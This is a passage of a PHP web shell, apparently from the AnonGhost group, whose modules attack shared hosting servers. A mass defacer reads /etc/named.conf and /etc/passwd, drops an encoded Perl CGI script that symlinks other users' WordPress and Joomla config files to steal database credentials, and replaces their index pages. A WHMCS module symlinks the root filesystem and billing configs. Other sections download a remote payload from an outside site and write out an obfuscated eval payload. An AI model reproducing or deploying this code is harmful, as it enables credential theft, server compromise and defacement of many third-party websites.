'<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($_SESSION['count1']+$_SESSION['count2']).' (JOOMLA = '.$_SESSION['count1'].', WORDPRESS = '.$_SESSION['count2'].')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($_SESSION['count1']+$_SESSION['count2'] > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_2($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);$output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs   NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
   h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
   G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
   YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
   kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
   B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('agmd',0777);file_put_contents('agmd/agmd.cc', base64_decode($dt));chmod('agmd/agmd.cc', 0755);$wr  = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('agmd/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/agmd.cc');  $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/';unlink('agmd/agmd.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i = 1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i++.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_3($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);  $output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
   kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
   VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
   3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
   cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
   MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
   R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('agmd',0777);file_put_contents('agmd/data.txt', $_POST['man_data']);file_put_contents('agmd/agmd.cc', base64_decode($dt));chmod('agmd/agmd.cc', 0755);$wr  = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('agmd/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/agmd.cc');  $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/agmd/';unlink('agmd/agmd.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i=1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.($i++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="red">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}echo $bencong.'<!DOCTYPE html><html><head><link href="http://fonts.googleapis.com/css?family=Ubuntu&font-effect-shadow-multiple" rel="stylesheet" type="text/css"><style type="text/css">.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}input[type="radio"]{margin-top: 0;}.td2 {border-left:1px solid red;border-radius: 2px 2px 2px 2px;}.even {background-color: rgba(25, 25, 25, 0.6);}.odd {background-color: rgba(102, 102, 102, 0.6);}textarea{background: rgba(0,0,0,0.6); color: white;}.green {color:#58FAF4;font-weight:bold;font-size:12px;}.red {color:#FF0000;font-weight:bold;font-size:12px;}</style><script type="text/javascript">function change() {if(document.getElementById('rcd').checked == true) {document.getElementById('tra').style.display = '';} else {document.getElementById('tra').style.display = 'none';}}function hide() {document.getElementById('tra').style.display = 'none';}</script></head><body><p class="font-effect-shadow-multiple" style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Wordpress and Joomla Mass Defacer</b></p>';if(!isset($_POST['form_action']) && !isset($_GET['mode'])){echo '<center><p class="mybox" align="center"><form action="" method="post"><table><tr><td><input type="radio" value="1" name="mode" checked="checked" onclick="hide();"></td><td><font size="2">using /etc/named.conf ('.(is_readable('/etc/named.conf')?'</font><span class="green"><font size="2">READABLE</font></span>':'<span class="red"><font size="2">NOT READABLE</font></span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" onclick="hide();"></td><td><font size="2">using /etc/passwd ('.(is_readable('/etc/passwd')?'</font><span class="green"><font size="2">READABLE</font></span>':'<span class="red"><font size="2">NOT READABLE</font></span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" id="rcd" onclick="change();"></td><td><font size="2">manual copy of /etc/passwd</font></td></tr><tr id="tra" style="display: none;"><td></td><td><textarea cols="60" rows="10" name="man_data"></textarea></td></tr></table><br><input type="hidden" name="form_action" value="1"><table><tr><td><b><font size="2">index url: </font></b><input class="inputz" size="40" type="text" name="defpage" value=""></tr></td></table><input class="inputzbut" type="submit" value="Hajar!" name="Submit"></form></p></center>';}$milaf_el_index = $_POST['defpage'];if($_POST['form_action'] == 1) {if($_POST['mode']==1) { exec_mode_1($milaf_el_index); }if($_POST['mode']==2) { exec_mode_2($milaf_el_index); }if($_POST['mode']==3) { exec_mode_3($milaf_el_index); }}if($_GET['mode']==1) { exec_mode_1($milaf_el_index); }echo '</body></html>';}
//////////////////////  BASEDIR  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bbase'))
    {
$bbase ='http://www.ppteo.es/wp-content/themes/calotropis/css/baby-blue.txt';
$file = fopen("bbase.php" ,"w+");
$write = fwrite ($file ,file_get_contents($bbase));
fclose($file);
    chmod("bbase.php",0755);
   echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Open Basee_Dir Bypass</span><br><div class=content><iframe src=bbase.php width=75% height=60% frameborder=0></iframe>"; }
//////////////////////  WHMCS  ////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whme'))
    {
 echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>WHMCS Symlink Priv8 By Mauritania Attacker</span><br><div class=content>";
 ?>
<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"></center><br><br>


<center>
<form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) To symlink WHMCS Configs</font><p>
	<input type=submit name="whme" value="Extract usernames" /></form></center>
	<?php
	if(isset($_POST['whme'])){
		?><form method=post>
	<textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."n";
}

?></textarea><br><br>
	<input type=submit name=su value="Symlink WHMCS" /></form>
	<?php } ?>
	<?php
	error_reporting(0);
	echo "<font color=#58FAF4 size=2 face="Courier New">";;
	if(isset($_POST['su']))
	{
	mkdir('whmcs',0755);
$rr  = " Options FollowSymLinks MultiViews Indexes ExecCGI n AddType application/x-httpd-cgi .pl n AddHandler cgi-script .pl n AddHandler cgi-script .pl";
$g = fopen('whmcs/.htaccess','w');
fwrite($g,$rr);
$whmcs = symlink("/","whmcs/root");
		    $rt="<a href=whmcs/root><font color=#ff0000 size=2 face="Courier New"> Whmcs Configs Bypassed Successfully</font></a><br>";
        echo "<br>Check link given below for / folder symlink <br><b>$rt</b><br>";

mkdir('whmcs',0755);
$rr  = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
$g = fopen('whmcs/php.ini','w');
fwrite($g,$rr);
$whmcs = symlink("/","whmcs/root");

		fwrite($f,$r);
        $consym="<a href=whmcs/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
       	echo "<br>The link given below is for Whmcs configs path symlink, If Any Errors Appears just try bypass with anonther .htaccess file <br><b><font color=#00FF00 size=2 face="comic sans ms">$consym</font></b>";

			$usr=explode("n",$_POST['user']);
       	$configuration=array("member/configuration.txt","members/configuration.txt","configuration.txt","billing/configuration.txt","billings/configuration.txt","includes/dbconfig.txt","includes/config.txt","whmcs/configuration.txt","whmc/configuration.txt","support/configuration.txt","whm/configuration.txt","whmcs/configuration.txt","support/configuration.txt","whmc/WHM/configuration.txt","whm/WHMCS/configuration.txt","whm/WHMCS/config.txt","whm/whmcs/configuration.txt","whm/config.txt","clients/configuration.txt","client/configuration.txt","whmcs/config.txt","clientes/configuration.txt","cliente/configuration.txt","clientsupport/configuration.txt","supports/configuration.txt");
		foreach($usr as $uss )
		{
			$us=trim($uss);

			foreach($configuration as $c)
			{
			 $rs="/home/".$us."/public_html/".$c;


			  $r="whmcs/".$us." .. ".$c;
			 symlink($rs,$r);

		}

			}


		}}
//////////////////////  APACHE  ////////////////////
	elseif(isset($_GET['x']) && ($_GET['x'] == 'apache'))
    {
 $apngi = 'PD9waHAgLy8tLSByZWNvZGVjIGJ5IEFub25HaG9zdCAtLS8vIA0KcHJlZ19yZXBsYWNlKCIvLiovZSIsIlx4NjVceDc2XHg2MVx4NkNceDI4XHg2N1x4N0FceDY5XHg2RVx4NjZceDZDXHg2MVx4NzRceDY1XHgyOFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjVceDI4J2xadkxydVM0RVVUM0J2d1BqY1lzN00yZ0pMNnFNUENmYUtONnJidzIrdk5kREo1ZzhsNGJBOHlpMExkVWtraG1Sa1pHSnRtLy9YcThIODhmUDM3LzE0K2Z4NjkyK1h6MjQxY3RuMDg3ZnBWM2ZPKy8xY2ZuczMwK2FWemJyNS9QNS9mOWM5LysrbnpPOGJkKzY5Y2Y0OS95K2JkOTdrMzE4eW5MOXphdWZmbDkrL285cCtYNzUxM3ArdTMrOXZWOStkdno2ZmJ0ZmVYYjcvVlB4dnMrbno3Zi9DZnIrWC96Kzc3KzcrLzdQdDc2dnZSdGZ1bmIrSjk3ODNmNy9kbjg2ditPOTVlZVozMzdaOTd0NCt2eStiMStydVhQdGZ4NXJ2VjNYd2RHU3YvdTlmZmYzMlBzanFIdW8rNkhmazNmUDlpcE42N2hrd3lPNm4zNE1IM3dWeGl6Yk10dlpkemY1OUZ0Mi9GWEx2emU1L0NaYTMyTmY4dHRQSnZBZDdzeHQ4Y1lvMk05MzJPc3ZvNmQ4ZnRhOU00eXh1bjM5bkgwMnpuZW9kL1RlS1pmNjMrM1RIemNpYW5Mc0dHL0xuLzI4ZmN4bDNiR3ZjTHREWHUveC9yNkd2bzQvYnZlY1J0enpPZFlvM3hYK1QwelZtV01zc1R4aTdYWE1WWitqbi9senhmMjMvbXREUC8yOXpYczI5ZlY1NjQxM3NOSDRvZUtQNWxIOTZQOHhUdzZMdnAzWTBOMjYrODh4eGlWT1dsOWUxeTNIZlRPL3R5TmRlSVhQYk54MzMwWkk4VjhTb0VqY256WCt6ZmlFcXpJYm1WOEY1NkpnLzZzNTFTTXU1UHgrdnFmK0F6YmRoLzNqK3pWd0VvZVdPOXp6dUJQMTl1d2RRTnJmUjM5M1hPdGR6RFVzVlhDSnBwUEd0ZktQdWFjNGVlTzR3cU85SzQ2ZnUvamRiL2t4WCtLZ3hmeGVuSmZZMjBuZnUyK1RDTitOZTQ3TUZ5dnczWWRTOExYemx5SnUvN3ViRnllQTRlSzAvdDRUMkd1NHBNeXNDWnNZOWZkNjRhRGRiMk5hOExRYlhEVTVCeHMzMjBpZjVDL3pFZDlQUnBqaDJ1dVkwNjVqVTh4OTZaaEorRWVUdXNmOGRCbGpDTk1iandIN2lzMjY3YW94S2Z3Q2o3NjM0MTcrenU2M1RUV0Uxd1VjQWNuWjN5U1cxd3p2OWpmbVh5ZGVWL240MjRUeDJmL3J2VytpRzN3MWNDZ2N1Y0pic0N2Y0hFUFhoVE95dkJaQmtjSjNpeHdVdjllc1VVeTc1N010V0NyNTRoUmpRa0hpajladS9BREo0dkQzekdYQnRmM01hcjV0NHgzRk9KYm1DUVd0SjZOR0V2TTd3a0hNNWJ3ZmgzMjdiOVYzcC9oaEQ1UDVTcndwdmZmbHB6U1ltNTlQdDJtZlIzZDFsb244Ky8yMDNxY084bVZHWTdlaVJuWllpTnU3MkExQmZibDV5ZXhpQi83T29VcjNpOE93cDRaWHBhKzRhTjFuc3c1Z1MzN0tJMDVpY091WUQ5eHY3VUEvQ0FjZ0N0eE9ibElzZjBjOTRrL25HK2Y1UG5Hdk1pZGZkNEpPL2YzTk40clgyRmYvZjVDeDRHbGRJdjhwUmpPNHgxOW5obHVyZVFValdNZFdPR0VDaWM4MEZUYjRBM1pmb01MOW1FVHJSMmVrUCtabDlaZDhUMjQwTFBiNEltTTdicFByUyswL2h1NTFUd0VyM1picDF2NFh4eVQ0VUJ5cmRZSkJ3dFhWM0pRd1o5b3BJcXVGWjd4WDk2Q2oyd3JjWlBqY1J0cmxsM0w4Tm5VdjhaVnduZXY0RDNqVzJ0K0x1dDRIcUgxbmhFWGZhekpPV2s4TjdUU3p6LysvcmZmZmowZnBibys2ZXZ0OWxZc09GK1p4Ky9FeTMxZ0lMWGdUUE56bjV2bW1zZXo0akx6Q0R3cHY3OTQvem5lTGJ3OGVRNmRhaDFaOXRCQnlldEdPeGhiMGdsYjJDSTdOblpzZTVMSDBBL0ZhMHJNNlliK3lHQS9NNzk3Y0hReEI4QmxpZ1B1YmRoQk9RSzdTQXZjSXIvcjl3UnU4V3UyUnJ1UDhmcGMrL3JNeDRvYmRHNngvcy9qV2YyYjBhajMwRFROZXBLL0UvbEh0V2RlZUFJYkZHdldGaGpNNkg2TmN4MTJiUGhYZkFUM2RVeVp6M1NkOTR1YjRmV0U5cFkyM2NudjFHWEtvOWl5cjFINWxUeVMwRklWKzFaemZTTy9FT2ZTQ25DenNKL0lOOWJ0aGZsYkcrOW9vd3hYYmNlc2phcjEyaGFheUxwTzg4ZWZsV2NTdUtuVzNCZHk3dzdYcDhVWDFEcXJUWm8xczNYckd5NUhkenBIbUZmTXI0cFQ3aS9VbURVRnY0b0w5bU5xeHJMVWZOSjE3OUNmTlFjZU5aZUNacTVoODdhc1J4eFZ3c2Z5bDdrWWZXak5hVjBtVEtESHErdWVCL1k2RnkxcHZiRkZ2VkhRcS9VUmE5WjRWM2pVZml0b1BialRkYzcweVJYNzNvS2JLMXBhL0dTdEMwNnljVU1kMjZ4cnFKSDZHck54Y0NIUGtKZWE2NDBWQytnWWNURzZyb0JWNXhIeFFEdG12WnJKdHhxRGV0RDV3WG9tdjVjY2FidzVwbDA3cFpoYlgxdXk1bHB5bVd3QkJ6YlhiTXQ3N2R0RVRXSGVrYVlqL3pWc2IwMlgwUGJGV0VGenUrNW80RWxqdi9GMURYMGgrMU5uVjl2RE1ReE8zQXVSVGlZK0VyNlM3eC9oaTRJK3FwNTdqcHhvZldHOVc2bFBLdjBXYWFyRTd3djNxdDl6a252dlIvUmEwckNCTlozck1uTjZkcTF3anp5VFhRODhodzBMdUN6b3VHWnNMWFoyanBRR3dPYkZtbjBIUzlSa21odnhZdnRMYjU1TG5CbEhEL0lZK2t4NW01Z1M3MjlMUGlHM3pibVNDMVRQcDNGTk5uSWRTcnk2SHlRc29pOHo2eEJtRWo2eG5rRER1YVlxMUVMQ3RIVUdHckhBdWJMeE9lYmhYQ3g5ZUJ0cjNORnZ4b0JpM0ZxY2VRc1BlMmpOUkYrcVloZGpTcHJ3VG56ZnlPbk9iZWlKNHBvRGZaeko4NGxZTms5bDE5QVpqS2ZRajQxYXl2VlNzdjcxYjJBcEU5TUZIUzA5M29LSFM0cTRxdWp5V1JPUlkyY1A2cnBvVGZDcVBPcGFsQnBadkVBOTdmcWxMYkd1T1dFWDI4WjlKYTJmR3E5ZXcrYloyRUg3MUJxeHBMaGxuZ1grS3ZpNnZoZU9KbWRLYTRJMTJXbUx1QzNZMmpXcmF6NzNkZDJieTl5bmVMdkV1bDN6Qy9ldXRjN0lEOFpoWS8wemw5cW02Wmc5VmZjeGkzdVlKMWh3RFExM1ZmS3ZlY3o5cDByUFpyNm5NamRxTVdrbi9xM2tFdGRNMGpQMGdxd1haQ2ZyemVzeGUzcnlBYldtYlpPdlMrL1E5Wk56aW5zTzUvaDNhcWlHYjVxMStLaFAzdWY1WHZkUGpHZjNmZFNuYzN6Qm5ZWCt4RnA3WkRTUjV5MGNKZlJMUG1hZkljTWZ3bUVKWGhHZm9GVTlYbVU5c3ovcC9nV2NaNjJtMkx3R1AyVnF5M3lQbkRUNTNsekd2OExmVGw2N0RUdkxsOFpmQ3Qyd28rOGFmR25NWjdTdXRBRXhxTnB5SjEvUTA1VXQ0ZTFDWDBPNUZpd2sxMzN2d0h1aGQ1SE5nNVY1b2VGS1htTE5OVFg2Vm42ZzFrendVQ0VIVzA5NnIyenFOM2paT2w5eDhDUlhVUitiMTZyN1ZPZ3g5KzZjVzRSSjE1ZU1JUzBNWDJoTmFJRmNGeCs5dWYvTnVPYnlWK0M0R1NOZ1F0cVVIcXIzZFdTWGpUV1o1OUdMczY1aFRQR28rUm03NVhmc1JTaUczb0hqZG92OHF4NFJXa2oza2dlY2Y1cDFQR3ZMNUMvWHlPNFRhUzQ3M01JY3JaRmM0MXBqdUs2Y09kYWFueDVoaFZPMWx0ZXdsZnhKM3lLakZRc3hLTnlRczRWNTZwRkdQTGxlTXc5WlcxdTdxRzl5a3ZkZGF5VHd4N2l6aG4yUUEwL2lsQnlZZUcvaUh0dGY4MzZPWndvWXkvU1dHbjdLMU82eWs2K2hrNzN2bTl3SE5FODZQNXpCb1RNbkozQkVucXpnT05GVGRUL2RQZUxaSzRRREN2bFMrdWdSK1VjYW5UaVdEYTI5eUdIT244bzliL3l6dzlrbGNGRGh3V3BOL0VJekxKckh2Uk54QnIyR1pQMzdKdmFmMkI3T3pzNlQ5aFY0THZEc2x6NmZhL2hsLzhSNXA3VFE3NVd4WnYzSVdsM2ZLSi9Ranl2bW1RYWV6QTJ2WTlhbXM3YW5ueVJNbjR1K1F0ZTREOWFzemZiUVJJVjN6QnhMZmVtZXZPdDI5OGxjSDdqZlU4ZzEzbThTcG9qZFltMVR3U2U5QUdtK05MaENmYWd0MWo1N2V6VjArOVN5L04ySUozTk1Xdnc1ZTAzRWdjWTFMN3YvUWo3Mm50ejA1UXZza2hPc1Zacno0RnB2N010YTNDK2gxbXJnV1h0TExmQTNlODVvdFhTSnZkbEdUNis2ZjczcXZocFluWG1GL3JqckhlbU9XOWl0V1FlZ2w2MjVwTzJZZTBPVEZuU1dlSG9QamplL1ptSkN6NXBYNGFIcTJ2QWFuSmJvWDN0Znkvc2cxamJKK0Vsb0xmT1Y0OWExZU1aZTlmaTZEK3c4OUFvL05YeGE0ZDRHYjAwL3VDWjNiOEQ5bEdYOTRvdEw1SFg5ZGpsbXYyckdPWG12V0VkaU81OWhLR2dkeFNwcmNROWVZNElaNGU1RmZnQUh4cUZyM3VvNjVSVzUybHJaOVZJMWw3cW12S0F4M09QaFBhb3J5YitGV2tyeFpvM3Zlczg0WFBxVkNYNVdyR003NXlISFM4cWhqYnhuYnEyZG1YOTJqOGxZWXk4eU8wOWJ4MWJpWlR1bXZ2VityWE5EZ212Y0wrdno5ZDVGWGZLMzVtWU5ZTDUwVEtCWDh5dDBvbUtLM2tpanY1TEJzakM1bzhQTjdhNnJkK0x3Z1o5TDVNUk1yM1B1STk3aFNPeVk2Uy9NUFdqNkRvMzZaTHZXV1ora1MzQ1Z0WS9QeWV6a1FlODFtOVBWbHoreDVibmtqeE5kUkMyWno4QlpoYWZuMllSMnpQMEV4ZXRKVG5xU003eCs5S3J6bk9LRk9uK2UwOEd2UG8rVHdhRDNOTzJ6MlhkeTdVWWRKWjRtVDg1Y2RHSTM4R1l1bXpFRHQvcE1RQ0pINkpwMTZ1T1krd2dKREl1WHJPM3NPMm9tbjV0eXZ6RTVIdUFvOTV4OTVrZ2NEMGU1ZHAzNzJ1ZWlyY2gzM3R0M1RFeE96c2M4WnlKZmNPWXYweWQxRDJYVzEraEsyZjIyM0VlY094K1lINlE3bVVObERkNTc4NWgrcGxHVEt1K3l2bVE5VGQxZ3JTWjh2OGhuem90Z1MxeTdSZjd4ZGUvamF1N3Z3Ri9Pa1dlbXhseDhMbTFKenAxN29OZEZqMjM0TTBXT1NLNkg0Y2FaeTl3UGRTM28rbWcvNXRrajd6TjVuOWU4bXB6Zlg5anNQR2E5NXA2YiswN21YTmZOazZzeTkxbkhFTVBpcWVjUmU0MnVrK25sVnRhVnpjblcxdkNEbmp1UE9NZEIvNzJnVjN6ZWErcmxObXp0T3Q1N2FmTU15eE9iTko1L1JCNFRCbmQwSG4wVDg3VXgzY2pKeWxkbmpPbCt3OXdqY2gva1BMNmN4WkkvcWRObHV4UC91amRaZ3ArYWVZbDZSenhLRDB4emhzdUU1UlIrY00zb251YlVwT2lIOVN6SWwxeUJIVlhIN3NUQ2ZUbm5kb2E5cG4vUU8rS3c3V3N1bmJwZ1A2WXVGNmVBYS9mTUc3bkk0M29mMVgzQmpKMjhYK005cXNJNmludU1qMk9lazZ6MzZCVklGOEREUHNjNDh3bDZQS09Mc3ZXNDlUSWFvb0pseDNVR0k5N2JxcXdyZ1ZIM2NtZXZIQXpNTTU2dlkrNW5DQ2YwZmhTWGFQbUV4bk45SUcxWHdDbTJNTzhWY3FMUGFjMnpRK2lGekJybW1TWDNScytGdCtqVlpEZ2drNE9sTXh2OHRmWkx5Qm4ycjgrVnVTOWR3ZmpjNDd3Zjg2eXljcTkxK25iTXMwL2V1L0tabVhsK0VPeGFtODIreXlYT3Rvbno2VnRWYWx1ZnQ1RE9TTVQxZGZ5ZHlSTU5IZTd6dmNWOVpHS2lvUVdTZS8vVVdONHJ5ZVpTZEpnMWlmdGRQdHVxT0tjM2JlMnhVeHQ5T1VOeFczQm9Ic2Z2N3MwWDhEdjdGTzJZK3crem4zazdZaC91aER2ZXg5eGoxOXFwQ2FiK1lCMEpmaW53alRHODN5TnZGSFIrODU0Uk1WMTh2dkVkZm11T0J6aGYyS1pub0wwak1EUmp2c1paWnR2Y2ZRN3BWdXFQWk8zeVJtZlZwZDdCbjg1eGlkcFN1Q1QyTXZsVmNaR09PSWZ5NFA0bnZPSCtodU9UR0o1N2wvanJPeWY3VE9zOGEwN2VkeDBxcnNSVzNyOTAzMHErb3QvYnlCOEpuYXc4UVE1cStOWTlPWjlGcitSODhlMGxOR0ppRHMzN1FmQjBJZ2NsNTl6N3dFNkJDd3AxaTlaRTNWcHQvMWVjRnkvWCtMdFNveVowZFQvVC8rV2MvKzB2ZkFmYjYvLzUwS2V2NC83emo5ZC96bi8vNDdmeFgwMSsvOEdacnY2SE5rLzZINzFLK2VjZi93VT0nXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4=';
 $file = fopen("apngi.php" ,"w+");
$write = fwrite ($file ,base64_decode($apngi));
fclose($file);
    chmod("apngi.php",0755);
